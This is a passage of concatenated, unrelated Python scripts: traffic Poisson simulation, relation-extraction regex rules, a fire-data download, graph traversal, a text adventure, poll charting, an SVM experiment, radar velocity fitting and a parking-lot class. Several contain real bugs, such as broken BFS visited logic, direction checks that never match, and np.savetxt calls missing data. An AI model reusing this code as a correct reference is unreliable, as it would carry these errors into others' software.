    l1 = matplotlib.lines.Line2D((x, x), (0, y), color='black', linewidth=1.0)
    ax.add_line(l0)
    ax.add_line(l1)
    return ax

def exp_rvar(p):
    return -math.log(p)

def ih_poisson(start, end, pc, limit=0):
    t = start
    arg = pc.integrate(t)
    last_start = 0
    count = 0
    while True:
        U = random.random()
        E = exp_rvar(U)
        # t = pc.inv_integrate(E + pc.integrate(t))
        arg += E
        t, last_start = pc.inv_integrate(arg, last_start)
        if t >= end or (limit > 0 and count > limit):
            return
        yield t
        count += 1

def show_poisson_proc(ax, start_end, pc):
    ax = pc.plot(ax, True, False, max(start_end[1], pc.end()))

    gen = ih_poisson(start_end[0], start_end[1], pc)
    res = list(gen)
    maxy = max(max(pc), pc.inf)
    ax = plot_events(ax, res, maxy)

    return ax

def plot_events(ax, res, height):
    l0 = matplotlib.lines.Line2D((res[0], res[0]), (0, height), color='green', linewidth=1.0, label='vehicle location')
    ax.add_line(l0)
    for i in res[1:]:
        l0 = matplotlib.lines.Line2D((i, i), (0, height), color='green', linewidth=1.0)
        ax.add_line(l0)
    return ax

if __name__ == '__main__':
    rc('text', usetex=True)
    getn = open("pc.txt")
    i = pc_string(getn.readline().rstrip())
    gen = [float(x) for x in getn.readline().rstrip().split()]

    pyplot.figure(figsize=(8, 4))
    ax = pyplot.axes([0.065, 0.1, 0.9, 0.8])

    ax = i.plot(ax, True, False, i.end())

    ax = plot_events(ax, gen, 1.0)

    pyplot.title("Lane density and instantiated cars")
    pyplot.xlabel("$x$ (m)")
    pyplot.ylabel("Cars per meter")
    ax.axis([0, 2000, 0, 1])

    pyplot.legend(loc=0)

    if len(sys.argv) > 1:
        pyplot.savefig(sys.argv[1])
    else:
        pyplot.show()


import sys
import os

sys.path.append(os.path.dirname(os.path.dirname(os.path.realpath(__file__))))

from DB import database

rules = [
    {
        "type": "HRRelationExtractor",
        "rule": {
            "all": "<ORG>(?P<company>[^<]*?)</ORG>[^<]*?<JOB>(?P<position>[^<]*?)</JOB>[^<]*?<PER>(?P<person>[^<]*?)</PER>",
            "all_1": "<ORG>(?P<company>[^<]*?)</ORG>[^<]*?<PER>(?P<person>[^<]*?)</PER>[^<]*?<JOB>(?P<position>[^<]*?)</JOB>"
        },
        "desc": "HR relation"
    },
    {
        "type": "FamilyRelationExtractor",
        "rule": {
            "all": "<PER>(?P<person1>.*?)</PER>.*?(?P<rel>哥哥|弟弟|姐姐|妹妹).*?<PER>(?P<person2>.*?)</PER>"
        },
        "desc": "Family Relation"
    },
]

if __name__ == "__main__":
    #     database.drop_rule_db()
    #     database.create_rule_db()
    for rule in rules:
        rule_type = rule['type']

        rules_r = database.fetch_rules(rule_type)
        if len(rules_r) > 0:
            database.drop_rules(rule_type)

        rule_desc = rule['desc']
        for field, exp in rule['rule'].items():
            database.insert_rules(exp, rule_type, field)


# download and unzip the fire history perimeter file GDB from the AICC
import os, glob

# setup args
output_dir = '/workspace/Shared/Tech_Projects/ALFRESCO_Inputs/project_data/Fire/FireHistory/raw_downloaded'
link = 'https://fire.ak.blm.gov/content/maps/aicc/Data%20Downloads/Data%20(zipped%20filegeodatabases)/FireHistory_Perimeters_1940_2017.zip'

# download the data...
os.chdir( output_dir )
os.system( 'wget "{}"'.format( link ) )

fn, = glob.glob( os.path.join( output_dir, '*.zip' ) )
os.system( 'unzip {}'.format( fn ) )


from priority_queue import PriorityQueue

class Queue():
    def __init__(self):
        self.queue = []

    def enqueue(self, item):
        self.queue.append(item)
        return self.queue

    def dequeue(self):
        if (self.isEmpty() == False):
            self.item = self.queue[0]
            self.queue = self.queue[1:]
            return self.item
        else:
            return ""

    def isEmpty(self):
        if (len(self.queue) > 0):
            return False
        else:
            return True

'''
1. Add the vertex to start the breadth-first search to the empty queue. Mark that vertex visited.
2. Extract a vertex from the queue and add its neighbors to the queue if that isn't marked visited.
3. Repeat step 2 until the queue is empty.
'''

class Graph:
    def __init__(self, graph):
        self.graph = graph
        self.dfs_visited = {}
        for node in self.graph:
            self.dfs_visited[node] = False

    def bfs(self, root):
        queue = Queue()
        queue.enqueue(root)
        visited = {}
        for node in graph:
            visited[node] = False
        visited[node] = True
        while (queue.isEmpty() != True):
            removed = queue.dequeue()
            print(removed)
            for neighbour in graph[removed]:
                if (visited[removed] == False):
                    visited[removed] = True
                    queue.enqueue(neighbour)

    def dfs(self, root):
        self.dfs_visited[root] = True
        print(root)
        for neighbour in self.graph[root]:
            if (self.dfs_visited[neighbour] == False):
                self.dfs(neighbour)

if __name__ == "__main__":
    graph = {'0': ['1', '2', '3'],
         '1': ['0', '2'],
         '2': ['0', '1', '4'],
         '3': ['0'],
         '4': ['2']}
    g = Graph(graph)
    #g.bfs(0)
    g.dfs('0')


class Room:
    def __init__(self, description, north, east, south, west):
        self.description = description
        self.north = north
        self.east = east
        self.south = south
        self.west = west

def main():
    room_list = []

    # Description for room 0
    room = Room("You are in a master bedroom. You see doors going to the east and south.", None, 1, 5, None)
    room_list.append(room)

    # Description for room 1
    room = Room("You are in a bathroom. There is one door which goes back into the bedroom west.", None, None, None, 0)
    room_list.append(room)

    # Description for room 2
    room = Room("You are now in what looks to be a living room. "
        "You can enter different rooms to you east and south.", None, 3, 7, None)
    room_list.append(room)

    # Description for room 3
    room = Room("You see that you are in a theater room. There are doors to your east and south.", None, 4, 8, None)
    room_list.append(room)

    # Description for room 4
    room = Room("You now enter a room with a bar. There are doors to your west and south.", None, None, 9, 3)
    room_list.append(room)

    # Description for room 5
    room = Room("You now enter what looks to be a kids bedroom. "
                "There are doors to your north and east.", 0, 6, None, None)
    room_list.append(room)

    # Description for room 6
    room = Room("You enter a gym with a bunch of weights and lifting machines. "
            "You see doors to your west and east.", None, 7, None, 5)
    room_list.append(room)

    # Description for room 7
    room = Room("You now enter a kitchen. You see doors to your west, north, and east.", 2, 8, None, 6)
    room_list.append(room)

    # Description for room 8
    room = Room("You now enter a super cool man cave. There are doors to your east and west.", None, 9, None, 7)
    room_list.append(room)

    # Description for room 9
    room = Room("You now enter a big room with a full size basketball court. "
            "There are doors to the north and west.", 4, None, None, 8)
    room_list.append(room)

    # Starting room
    current_room = 0

    done = False

    while not done:
        print(room_list[current_room].description)
        print()
        user_input = input("Which direction do you want to go? ")
        room_choice = user_input

        if room_choice.upper() == "North" or room_choice.upper() == "N":
            next_room = room_list[current_room].north
            if next_room is None:
                print("You can't go that way.")
                print()
            else:
                current_room = next_room

        elif room_choice.upper() == "South" or room_choice.upper() == "S":
            next_room = room_list[current_room].south
            print()
            if next_room is None:
                print("You can't go that way.")
                print()
            else:
                current_room = next_room

        elif room_choice.upper() == "East" or room_choice.upper() == "E":
            next_room = room_list[current_room].east
            print()
            if next_room is None:
                print("You can't go that way.")
                print()
            else:
                    current_room = next_room

        elif room_choice.upper() == "West" or room_choice.upper() == "W":
            next_room = room_list[current_room].west
            print()
            if next_room is None:
                print("You can't go that way.")
                print()
            else:
                current_room = next_room

        elif room_choice.upper() == "Quit" or room_choice.upper() == "Q":
            done = True
            print()
            print("You have quit.")

        else:
            print()
            print("The program does not understand what you typed. Try again.")

main()


import matplotlib.pyplot as plt
import logging
import os

class Question ():

    def __init__(self,question):
        self.question = question
        self.answers = []
        self.countOfStudent = []

        #create a directory to keep *.png files
        self.directory_histogram = "histogram_pngs"
        self.directory_pieChart = "pieChart_pngs"
        self.parent_dir = os.path.dirname(os.path.realpath(__file__))
        self.path_histogram = os.path.join( self.parent_dir , self.directory_histogram)
        self.path_pieChart = os.path.join(self.parent_dir, self.directory_pieChart)

        isdir = os.path.isdir(self.path_histogram)
        if not isdir:
            mode = 0o666
            os.mkdir(self.path_histogram, mode)

        isdir = os.path.isdir(self.path_pieChart)
        if not isdir:
            mode = 0o666
            os.mkdir(self.path_pieChart, mode)

    def histogram(self, a, Polls, previousPlace, worksheet, iter, picname ):
        while a < Polls[iter].answerLength:
            sizes = []
            myColors = []
            myLabels = []
            myExplode = []
            x_bar = []
            y_bar = []
            lengthOfAnswer = len(Polls[iter].questionsInPoll[a].answers)
            i = 0
            trueAnswerIndex = 0

            total_ans = 0
            while i < lengthOfAnswer:
                total_ans += Polls[iter].questionsInPoll[a].countOfStudent[i]
                i += 1

            i = 0

            while i < lengthOfAnswer:
                x_bar.append(str(i + 1))
                y_bar.append(Polls[iter].questionsInPoll[a].countOfStudent[i])

                myLabels.append(str(i + 1))
                sizes.append((Polls[iter].questionsInPoll[a].countOfStudent[i]/total_ans)*100)
                myExplode.append(0.01)

                if Polls[iter].questionsInPoll[a].answers[i] == Polls[iter].answers[a].answer:
                    trueAnswerIndex = i

                j = 0
                while j < len(Polls[iter].answers[a].answer):
                    if Polls[iter].questionsInPoll[a].answers[i] == Polls[iter].answers[a].answer[j]:
                        myColors.append("red")
                    elif Polls[iter].questionsInPoll[a].answers[i] != Polls[iter].answers[a].answer[j]:
                        myColors.append("blue")
                    j += 1

                i += 1

            barlist = plt.bar(x_bar, y_bar, color='b')
            j = 0
            while j < len(Polls[iter].answers[a].answer):
                barlist[j].set_color('g')
                j += 1

            nameOfPng = str(1 + a) + "Pic_" + str(iter + 1) + "Poll_" + picname + ".png"
            plt.savefig(self.path_histogram + "/" + nameOfPng, dpi=150)
            plt.close()

            plt.pie(sizes, labels=myLabels, colors=myColors, autopct='%.2f', explode=myExplode)
            nameOfPng = str(1 + a) + "Pic_" + str(iter + 1) + "Poll_" + picname + ".png"
            plt.savefig(self.path_pieChart + "/" + nameOfPng, dpi=150)
            plt.close()

            worksheet.write('A' + str(previousPlace), str(a + 1) + "Q) " + Polls[iter].questionsInPoll[a].question)
            previousPlace += 1
            worksheet.insert_image('B' + str(previousPlace),self.path_histogram + "/" + nameOfPng, {'x_scale': 0.5, 'y_scale': 0.5})
            worksheet.insert_image('H' + str(previousPlace),self.path_pieChart + "/" + nameOfPng, {'x_scale': 0.5, 'y_scale': 0.5})

            i = 0
            previousPlace += 12
            while i < lengthOfAnswer:
                previousPlace += 1
                worksheet.write('A' + str(previousPlace),
                                str(i + 1) + "- " + Polls[iter].questionsInPoll[a].answers[i] + " (" + str(
                                    Polls[iter].questionsInPoll[a].countOfStudent[i]) + " students select)")

                i += 1
            previousPlace += 3

            a += 1
            logging.info("Histograms are created")

        return a, previousPlace, worksheet, iter, Polls

    def summary(self, a, Polls, previousPlace, worksheet, iter, picname ):
        worksheet.write('A' + str(previousPlace), "----------------SUMMARY---------------- ")
        previousPlace += 2
        worksheet.write('A' + str(previousPlace),'Diagram')
        worksheet.write('F' + str(previousPlace), 'Correct Answer')
        worksheet.write('G' + str(previousPlace), 'Question Number')
        previousPlace += 3

        while a < Polls[iter].answerLength:
            lengthOfAnswer = len(Polls[iter].questionsInPoll[a].answers)
            i = 0
            trueAnswerIndex = 0

            total_ans = 0
            while i < lengthOfAnswer:
                total_ans += Polls[iter].questionsInPoll[a].countOfStudent[i]
                i += 1

            i = 0

            while i < lengthOfAnswer:
                if Polls[iter].questionsInPoll[a].answers[i] == Polls[iter].answers[a].answer:
                    trueAnswerIndex = i

                i += 1

            nameOfPng = str(1 + a) + "Pic_" + str(iter + 1) + "Poll_" + picname + ".png"
            worksheet.insert_image('A' + str(previousPlace),self.path_pieChart + "/" + nameOfPng, {'x_scale': 0.5, 'y_scale': 0.5})
            worksheet.write('F' + str(previousPlace), str(Polls[iter].questionsInPoll[a].countOfStudent[trueAnswerIndex]) + '/' + str(total_ans))
            worksheet.write('G' + str(previousPlace), str(a + 1) + "Q) " + Polls[iter].questionsInPoll[a].question)

            previousPlace += 13
            a += 1
            logging.info("Summary is created")

        return a, previousPlace, worksheet, iter, Polls


import sys

## Tests if two files have the same text characters                                     ##

args = sys.argv

assert (len(args) == 3),'Bad number of arguments please input 2 file names'

filename1 = args[1]
filename2 = args[2]

file1 = open(filename1,'r')
file2 = open(filename2,'r')

line1 = 'mary had'
line2 = 'a little lamb'
list1 = []
list2 = []
bools = []
false_lines = []
while line1 and line2:
    line1 = file1.readline()
    line2 = file2.readline()
    bools.append(line1 == line2)
    if line1 != line2:
        false_lines.append(len(bools))
    list1.append(line1)
    list2.append(line2)
#    print(repr(line1))
#    print(repr(line2))
#    print(line1 == line2)
print('all lines same: ' + str(all(bools)))
if all(bools) == False:
    print('check lines: ' + str(false_lines))
for line in false_lines:
    print(filename1 + ':\n' + list1[line-1])
    print(filename2 + ':\n' + list2[line-1])


import logging
import time

import matplotlib.pyplot as plt
import numpy as np
import pandas as pd
from sklearn import svm
from sklearn.metrics import confusion_matrix, f1_score
from sklearn.model_selection import (GroupKFold, StratifiedKFold,
                                     cross_validate)
from sklearn.preprocessing import StandardScaler

from data_loader import load_pickle
from model.eval import eval_crossval_fold

EXPERIMENT_ID = 1
datefmt = '%Y-%m-%d %H:%M:%S'
logging.basicConfig(filename='./logs/' + str(EXPERIMENT_ID) + '_model.log',
                    level=logging.DEBUG,
                    datefmt='%Y-%m-%d %H:%M:%S')

NR_OF_PATIENTS = int(5117)
C_values = [0.0001, 0.001, 0.01, 0.1, 1]

if __name__ == "__main__":
    print('loading data from csv')
    start_time = time.time()
    features, labels, patient_ids = load_pickle()

    # scaling all features!
    # NOTE: use the same `scaler` for x_test, and x_train
    scaler = StandardScaler()
    scaler.fit(features)
    tr_features_scaled = scaler.transform(features)
    print("data prep: %s seconds" % (time.time() - start_time))
    # svm model
    svm_model = svm.SVC(C=0.1,
                        kernel='rbf',
                        degree=3,
                        gamma='auto',
                        coef0=0.0,
                        shrinking=True,
                        probability=False,
                        tol=0.001,
                        cache_size=200,
                        class_weight='balanced',
                        verbose=True,
                        max_iter=-1,
                        decision_function_shape='ovo',
                        random_state=None)
    # group k fold: 5117
    groupkfold_cv = GroupKFold(n_splits=10)

    scores = list()
    scores_std = list()
    for C in C_values:
        start_time = time.time()
        print('-> ITERATION: C=', C)
        svm_model.C = C
        this_scores = cross_validate(estimator=svm_model,
                                     X=tr_features_scaled,
                                     y=labels,
                                     groups=patient_ids,
                                     scoring='f1_micro',
                                     cv=groupkfold_cv,
                                     verbose=4,
                                     n_jobs=-1,
                                     return_estimator=True)

        scores.append(np.mean(this_scores))
        scores_std.append(np.std(this_scores))
        print("model cv: %s seconds" % (time.time() - start_time))

    np.savetxt('./logs/' + str(EXPERIMENT_ID) + 'scores.csv')
    np.savetxt('./logs/' + str(EXPERIMENT_ID) + 'scores_std.csv')

    # Do the plotting
    plt.figure()
    plt.semilogx(C_values, scores)
    plt.semilogx(C_values, np.array(scores) + np.array(scores_std), 'b--')
    plt.semilogx(C_values, np.array(scores) - np.array(scores_std), 'b--')
    locs, labels = plt.yticks()
    plt.yticks(locs, list(map(lambda x: "%g" % x, locs)))
    plt.ylabel('CV score')
    plt.xlabel('Parameter C')
    plt.ylim(0, 1.1)
    plt.savefig('./figures/' + str(EXPERIMENT_ID) + 'cv_score.pdf')
    plt.show()


def az_LfitVel_plot(sTime, bmNums, panel_num, ISR_lims, errscl = 1.0,\
        interval = 60, err_bar=True, back_project=True):
    # if back_project = True, back projection of LOS velocity to the horizontal direction will be plotted

    import datetime as dt
    import matplotlib.pyplot as plt
    import matplotlib.lines as mlines
    import numpy
    import math
    from matplotlib.dates import DateFormatter
    import sys
    sys.path.append('/home/muhammad/Documents/Important/RISRpy/')
    from isr_read import isr_reader, isr_filter

    bmCodes_to_bm = {'55748': 1, '56954': 2,  '57656': 3, '57782': 4, \
                    '60551': 5, '60617': 6,  '60683': 7, '63443': 8, \
                    '63587': 9, '64280': 10, '65486': 11,}

    bm_to_el = {1: 20,     2: 35, 3: 34.93, 4: 34.93, \
                5: 49.42,  6: 55, 7: 49.42, 8: 60.64, \
                9: 60.64, 10: 75, 11: 90}

    bm_to_az = {1: 26.00,  2: 26.00, 3: 0.08,  4: 51.92, \
                5: -9.16,  6: 26.00, 7: 61.16, 8: -30.06, \
                9: 82.06, 10: 26.00}

    bmCodes = [bmCodes_to_bm.keys()[bmCodes_to_bm.values().index(bmNm)] for bmNm in bmNums]
    alt_min, alt_max, err_max, err_hor_max, vel_max = ISR_lims
    tms = [sTime + dt.timedelta(seconds=x) for x in range(0, interval * panel_num, interval)]
    color_list = ['b', 'g', 'r', 'c', 'm', 'y', 'k', 'b', 'g', 'r', 'c']
    myFig, axes = plt.subplots(nrows=panel_num, sharex=True, sharey=True)

    legnd = []
    vels_ave = [[] for ml in range(len(bmNums) + 1)]
    vels_std = [[] for ml in range(len(bmNums) + 1)]
    vels_tm = [[] for ml in range(len(bmNums) + 1)]

    for n, tm in enumerate(tms):
        data_list = isr_reader(tm, bmNums)
        filtered_data_list = isr_filter(data_list, ISR_lims, back_project=back_project)
        bmss = filtered_data_list['beam_code']
        if bmss != []:
            timess = filtered_data_list['time']
            azss = filtered_data_list['az']
            altss = filtered_data_list['alt']
            latss = filtered_data_list['lat']
            lonss = filtered_data_list['lon']
            velss = filtered_data_list['vel']
            errss = filtered_data_list['err']
        else: continue

        azss_fit = []
        velss_fit = []
        for j in range(len(bmss)):
            bmNo = bmCodes_to_bm[bmss[j]]
            alts = numpy.array(altss[j])
            az = numpy.array(azss[j])
            azs = numpy.repeat(az, len(alts))
            errs = numpy.array(errss[j])
            vels = numpy.array(velss[j])

            yerr = errs * errscl
            vels_ave[bmNo-1].append(numpy.mean(vels))
            vels_std[bmNo-1].append(numpy.std(vels))
            vels_tm[bmNo-1].append(tm)
            azss_fit = numpy.append(azss_fit, azs)
            velss_fit = numpy.append(velss_fit, vels)
            axes[n].plot(azs, numpy.array(vels), 'o', ms=2, mec= color_list[bmNo-1], mfc= color_list[bmNo-1])
            if err_bar:
                axes[n].errorbar(azs, numpy.array(vels), yerr=yerr, color= color_list[bmNo-1], ls='')

        # cosine fitting
        # sort azss_fit from small to large
        inx_sort = numpy.argsort(azss_fit)
        azss_fit = azss_fit[inx_sort]
        velss_fit = velss_fit[inx_sort]
        from scipy.optimize import curve_fit
        def cosfunc(x, Amp, phi):
            return Amp * numpy.cos(1 * x - phi)
        fitpars, covmat = curve_fit(cosfunc, numpy.deg2rad(azss_fit), velss_fit)
        x_fit = numpy.linspace(-180, 180, 360)
        y_fit = cosfunc(numpy.deg2rad(x_fit), *fitpars)
        axes[n].plot(x_fit, y_fit, 'r-')
        # mark the peak position
        ind_max = numpy.argmax(y_fit)
        y_max = y_fit[ind_max]
        x_max = x_fit[ind_max]
        axes[n].plot(x_max, y_max, 'r', marker = '*', ms = 7)
        axes[n].annotate('azm=' + '{0:.0f}'.format(x_max) , xy = (0.08, 0.65), xycoords='axes fraction',\
                horizontalalignment='center', verticalalignment='bottom', fontsize='8')
        axes[n].annotate('vel=' + '{0:.0f}'.format(y_max) , xy = (0.08, 0.8), xycoords='axes fraction',\
                horizontalalignment='center', verticalalignment='bottom', fontsize='8')

        axes[n].set_ylabel(tm.strftime("%H:%M") + ' UT', fontsize=8)
        axes[n].yaxis.set_label_position('right')
        axes[n].get_yticklabels()[0].set_visible(False)
        axes[n].grid()
        #axes[n].get_yticklabels()[-1].set_visible(False)

    for n in range(len(tms)):
        axes[n].yaxis.set_tick_params(labelsize=10)
    #plt.xticks(list(plt.xticks()[0]) + [round(x) for x in bm_to_az.values()], rotation = 90, fontsize=9)
    #plt.setp(axes[-1].get_xticklabels()[4], visible=False)
    axes[0].locator_params(axis='y', nbins=5)
    axes[0].set_title('L-shell-fit 2D Velocity (Beam' + str(bmNums) + ') ' + 'Time: ' +\
            sTime.strftime("%Y/%m/%d"), fontsize=11)
    #axes[-1].set_xlabel('Azimuth [degree]')
    axes[-1].set_xlabel('Azimuth [$^\circ$]')
    plt.subplots_adjust(hspace=0.1)
    myFig.text(0.03, 0.5, 'Vel. [m/s]  ' + ' (error < ' + str(err_max) + ' [m/s]' + ', error_hor < ' + str(err_hor_max) + ' [m/s], ' + str(alt_min) + ' < alt < ' + str(alt_max) + ' [km])',\
          transform=myFig.transFigure, verticalalignment='center', rotation='vertical', fontsize=9)
    myFig.gca().set_ylim([-3000, 3000])
    myFig.gca().set_xlim([-180, 180])
    # creating legend
    lines = []
    for ln in range(len(bmNums)):
        line = mlines.Line2D([], [], color=color_list[ln], marker='o',
                                      markersize=2, label='B' + str(bmNums[ln]))
        lines.append(line)
    return myFig

# testing code

if __name__ == "__main__":

    import datetime as dt
    import matplotlib.pyplot as plt

    time = dt.datetime(2014,9,13,19,00)
    #time = dt.datetime(2014,9,12,15,15)
    #time = dt.datetime(2014,9,12,18,00)
    #interval = 1*60; panel_num = 5; bmNums = [5, 7, 9]
    interval = 1*60; panel_num = 2; bmNums = [i for i in range(1,11)]
    #interval = 1*60; panel_num = 5; bmNums = [10, 6, 2]
    #interval = 1*60; panel_num = 5; bmNums = [10]
    ISR_lims = [150, 500, 50, 100, 5000]   #alt_min, alt_max, err_max, err_hor_max, vel_max = ISR_lims
    alt_min, alt_max, err_max, err_hor_max, vel_max = ISR_lims

    #png=True; dpi=500
    png=False; dpi=500;
    nums = 1     # number of  interation
    times = [time + dt.timedelta(seconds=x) for x\
            in range(0, interval * panel_num * nums, interval * panel_num)]
    for time in times:
        myFig = az_LfitVel_plot(time, bmNums, panel_num, ISR_lims,\
            #errscl = 1.0, interval = interval, err_bar=True, back_project=True)
            errscl = 1.0, interval = interval, err_bar=False, back_project=True)
        if png == True:
            myFig.savefig(time.strftime("%Y%m%d.%H%M.")+str(interval)\
                    + '_Beams' + str(bmNums) + '_err_hor_' + str(err_hor_max) + '_alt_lim_' + str(alt_min) + '_' + str(alt_max) + '.multipanel_az_LfitVel_plot.png',dpi=dpi)
        myFig.show()
        #plt.close(myFig)


n=int(input())
d={}
for i in range(n):
    s=input()
    d[i]={}
    for c in s:
        if c in d[i]:
            d[i][c]+=1
        else:
            d[i][c]=1
k={chr(i)for i in range(97,123)}
for e in d:
    k&=set(d[e].keys())
for t in sorted(k):
    m=float('inf')
    for e in d:
        m=min(m,d[e][t])
    print(t*m,end='')
print('')


from Stack import Stack
from DataBase import*
from Car import Car
from Tree import *

class Parking:
    Name = None
    MaxPlaceDef = 0
    MaxPlaceVIP = 0
    parkDef = Stack()
    parkVIP = Stack()

    def __init__(self, Name, PlaceDef, PlaceVip):
        if(isinstance(Name, str) and isinstance(PlaceDef, int) and isinstance(PlaceVip, int)):
            try:
                self.Name = Name
                self.MaxPlaceDef = PlaceDef
                self.MaxPlaceVIP = PlaceVip
                self.parkDef = Stack()
                self.parkVIP = Stack()
                if(not Park(self.Name)):
                    NewPark(self.Name, self.MaxPlaceDef, self.MaxPlaceVIP)
                else:
                    Name = None
            except Exception as e:
                self.Name = None
                print(e)
        else:
            Name = None

    def CanAddToDef(self):
        if(GetMaxPlaceDef(self.Name) - GetFreePlaceDef(self.Name) > 0):
            return True
        else:
            return False

    def CanAddToVIP(self):
        if(GetMaxPlaceVIP(self.Name) - GetFreePlaceVIP(self.Name) > 0):
            return True
        else:
            return False

    def AddToDef(self, car):
        if(self.CanAddToDef() and isinstance(car, Car)):
            self.parkDef.push(car)

    def AddToVIP(self, car):
        if(self.CanAddToVIP() and isinstance(car, Car)):
            self.parkVIP.push(car)

    def BusyPlaceDef(self):  # Возвращет True если на парковке 0 автомобилей и False, если на парковке есть хотя бы один автомобиль
        if(GetFreePlaceDef(self.Name) == 0):
            return True
        else:
            return False

    def BusyPlaceVIP(self):  # Возвращет True если на парковке 0 автомобилей
        if(GetFreePlaceVIP(self.Name) == 0):
            return True
        else:
            return False

    def Dell(self):  # Удаляет из БД
        DelPark(self.Name)

    def ParkCar(self, car, place = "DEF"):
        AddToDataBase(car, None)
        if(place == "DEF"):
            self.AddToDef(car)
            AddFreePlaceDef(1, self.Name)
        else:
            self.AddToVIP(car)
            AddFreePlaceVIP(1, self.Name)

    def PrintStackDef(self):
        BufStack = Stack()
        BufMirrorStack = Stack()

        for i in range(self.parkDef.size()):
            BufStack.push(self.parkDef.pop())
        for i in range(BufStack.size()):
            car = BufStack.pop()
            BufMirrorStack.push(car)
            self.parkDef.push(car)

        list = []
        for i in range(BufMirrorStack.size()):
            list.append((BufMirrorStack.pop()).RegNum)
        return list

    def PrintStackVIP(self):
        BufStack = Stack()
        BufMirrorStack = Stack()

        for i in range(self.parkVIP.size()):
            BufStack.push(self.parkVIP.pop())
        for i in range(BufStack.size()):
            car = BufStack.pop()
            BufMirrorStack.push(car)
            self.parkVIP.push(car)

        list = []
        for i in range(BufMirrorStack.size()):
            list.append((BufMirrorStack.pop()).RegNum)
        return list

    def CarOnPark(self, car):
        BufStack = Stack()
        BufMirrorStack = Stack()

        for i in range(self.parkVIP.size()):
            BufStack.push(self.parkVIP.pop())
        for i in range(BufStack.size()):
            car = BufStack.pop()
            BufMirrorStack.push(car)
            self.parkVIP.push(car)

        for i in range(BufMirrorStack.size()):
            if((BufMirrorStack.pop()).RegNum == car.RegNum):
                return True

        for i in range(self.parkDef.size()):
            BufStack.push(self.parkDef.pop())
        for i in range(BufStack.size()):
            car = BufStack.pop()
            BufMirrorStack.push(car)
            self.parkDef.push(car)

        for i in range(BufMirrorStack.size()):
            if ((BufMirrorStack.pop()).RegNum == car.RegNum):
                return True

        return False

    def DelCar(self, car):
        BufStack = Stack()
        CarHere = False
        intMoved = None
        for i in range(self.parkDef.size()):
            newCar = self.parkDef.pop()
            if(newCar.RegNum == car.RegNum):  # Удаление машины
                CarHere = True
                intMoved = newCar.Moved
                SetUnparking(None, car)
                AddFreePlaceDef(-1, self.Name)
            else:
                newCar.Moved += 1
                BufStack.push(newCar)
        for i in range(BufStack.size()):
            self.parkDef.push(BufStack.pop())

        if(CarHere):
            return intMoved

        for i in range(self.parkVIP.size()):
            newCar = self.parkVIP.pop()
            if(newCar.RegNum == car.RegNum):  # Удаление машины
                CarHere = True
                intMoved = newCar.Moved
                SetUnparking(None, car)
                AddFreePlaceVIP(-1, self.Name)
            else:
                BufStack.push(newCar)
        for i in range(BufStack.size()):
            self.parkVIP.push(BufStack.pop())

        if (CarHere):
            return intMoved

    def ReturnCarListDef(self):  # Возвращает представление парковки в виде массива
        List = []
        parkBuf = Stack()

        for i in range(self.parkDef.size()):  # Перегоняет машины в стек, что бы узнать какие машины на парковке
            carBuf = self.parkDef.pop()
            List.append(carBuf)
            parkBuf.push(carBuf)
        for i in range(parkBuf.size()):  # Отрпавляет обратно в стек
            self.parkDef.push(parkBuf.pop())
        return List

    def ReturnCarListVIP(self):  # Возвращает представление парковки в виде массива
        List = []
        parkBuf = Stack()

        for i in range(self.parkVIP.size()):  # Перегоняет машины в стек, что бы узнать какие машины на парковке
            carBuf = self.parkVIP.pop()
            List.append(carBuf)
            parkBuf.push(carBuf)
        for i in range(parkBuf.size()):  # Отрпавляет обратно в стек
            self.parkVIP.push(parkBuf.pop())
        return List

    def SortTree(self):  # Сортирует и VIP и обычную парковку
        temp = []  # Сюда попадает отсортированные деревом ID автомобилей
        ListDef = self.ReturnCarListDef()
        TreeDef = None
        for car in ListDef:  # Перегоняет парковеу в дерево
            TreeDef = insert(TreeDef, car.ID)
        postorder(TreeDef, temp)  # Получает от дерева отсортированный массив
        self.parkDef = Stack()  # Обнуляет стек

        for carID in temp: # Отсортированный массив айдишников из дерева
            for car in range(len(ListDef)):  # Массив автомобилей созданый из стека
                if(carID == ListDef[car].ID):  # Если встречаеться айдишник, то машина попадает на парковку и удаляеться из ListDef для того что бы повторне не пробегать. Последним эллементом добавленным в стак будет корень дерева
                    self.parkDef.push(ListDef[car])
                    ListDef.pop(car)
                    break

        temp = []
        ListVIP = self.ReturnCarListVIP()
        TreeVIP = None
        for car in ListDef:
            TreeVIP = insert(TreeVIP, car.ID)
        postorder(TreeVIP, temp)
        self.parkVIP = Stack()

        for carID in temp:
            for car in range(len(ListVIP)):
                if (carID == ListVIP[car].ID):
                    self.parkVIP.push(ListVIP[car])
                    ListVIP.pop(car)
                    break


from fun import*
from itertools import *
def main():

    #part 1
    axe = np.linspace(1, 10, 20)
    take = set()
    comb = list(combinations(axe, 3))
    while len(take) < ct.n:
        take.add(np.random.randint(0, len(comb)))

    axe = [comb[elem] for elem in take]
    dots = axe
    teta = [[1,1,1,1], [2,2,2,2], [3,3,3,3]]
    X, T, Res = respond(teta, dots)

    scale = [0.1*np.mean(Res[:, i])for i in range(3)]
    print(scale)
    E, cov, cor = make_noise(*scale)
    Work = E+Res
    print('Матрица истинных оценок параметров\n{}\n\n'.format(T))

    #part 2
    mnk = get_MNK(Work, X)
    print('\n\n\nМНК-оценки матрицы параметров\n{}'.format(mnk))

    #part 3-4
    def hypot(param):
        print('проверим гипотезу о незначимости {} строк'.format(param))
        nu = len(param)
        if nu == 3:
            R = np.matrix([[0, 1, 0, 0],[0, 0, 1, 0], [0, 0, 0, 1]])
            U = np.zeros ((3, 3))

            l = lambda_stat(Work, X, R, U)
            print('\n\nЛямбда - статистика = {0}\n\
            Значение параметров с ограничениями\n{1}\n\n'.format(l[1], l[0]))
            our, f = Bartlett(nu, l[1])
            print('Преобразование Бартлетта: {0}\n\
            Значение квантили хи-2 распределения есть {1}'.format(our, f))

            our, chi = Rao(nu, l[1])
            print('Преобразование Рао: {0}\n\
            Значение квантили хи-квадрат распределения есть {1}'.format(our, chi))
        else:
            if nu == 1:
                R = np.matrix([0, 0, 0, 0])
                R[0, param[0]] = 1
                U = np.zeros ((1, 3))
            elif nu == 2:
                R = np.matrix([[0, 1, 0, 0],[0, 0, 1, 0]])
                U = np.zeros ((2, 3))

            l = lambda_stat(Work, X, R, U)
            print('\n\nЛямбда - статистика = {0}\n\
            Значение параметров с ограничениями\n{1}\n\n'.format(l[1], l[0]))
            our, f = Lambda_Fisher_converter(nu, l[1])
            print('Преобразование лямбды к F - статистике: {0}\n\
            Значение квантили F- распределения есть {1}'.format(our, f))

            s = T_stat(Work, X, R, U)
            print('\nЗначение статистики следа = {}'.format(s))
            our, chi = T_Chi_converter(nu, s)
